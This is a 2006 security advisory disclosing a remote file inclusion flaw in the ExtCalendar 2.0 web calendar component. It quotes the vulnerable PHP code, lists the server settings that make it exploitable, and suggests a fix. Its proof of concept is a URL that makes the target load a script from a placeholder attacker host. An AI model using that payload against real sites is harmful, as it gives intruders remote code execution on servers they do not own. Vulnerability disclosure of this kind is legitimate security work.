ECHO.OR.ID ECHO_ADV_36$2006 ------------------------------------------------------------------------ --- [ECHO_ADV_36$2006] ExtCalendar <== v2.0 Remote File Include Vulnerabilities ------------------------------------------------------------------------ --- Author : Ahmad Maulana a.k.a Matdhule Date : July 07th 2006 Location : Indonesia, Jakarta Web : http://advisories.echo.or.id/adv/adv36-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ExtCalendar Application : ExtCalendar version : 2.0 URL : http://extcal.sourceforge.net/ Description : ExtCalendar is a powerful multi-user web-based calendar application. Features include Multi-Languages, Themes, Recurrent Events, Categories, Users and Groups management, Environment and General Settings, Template Configuration, Product Updates. ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~~ in folder com_extcalendar we found vulnerability script extcalendar.php. -----------------------extcalendar.php---------------------- .... <?php global $mosConfig_absolute_path; require_once( $mosConfig_absolute_path."/components/com_extcalendar/config.inc.php" ); require_once( $CONFIG_EXT['LIB_DIR']."mail.inc.php" ); ?> ... ---------------------------------------------------------- Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. Proof Of Concept: ~~~~~~~~~~~~~~~~ http://[target]/[path]/components/com_extcalendar/extcalendar.php?mosCon fig_absolute_path=http://attacker.com/evil.txt? Solution: ~~~~~~~~ sanitize variabel $mosConfig_absolute_path in extcalendar.php ------------------------------------------------------------------------ --- Shoutz: ~~~~~~ ~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama ~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed] ~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ] ----------------------------------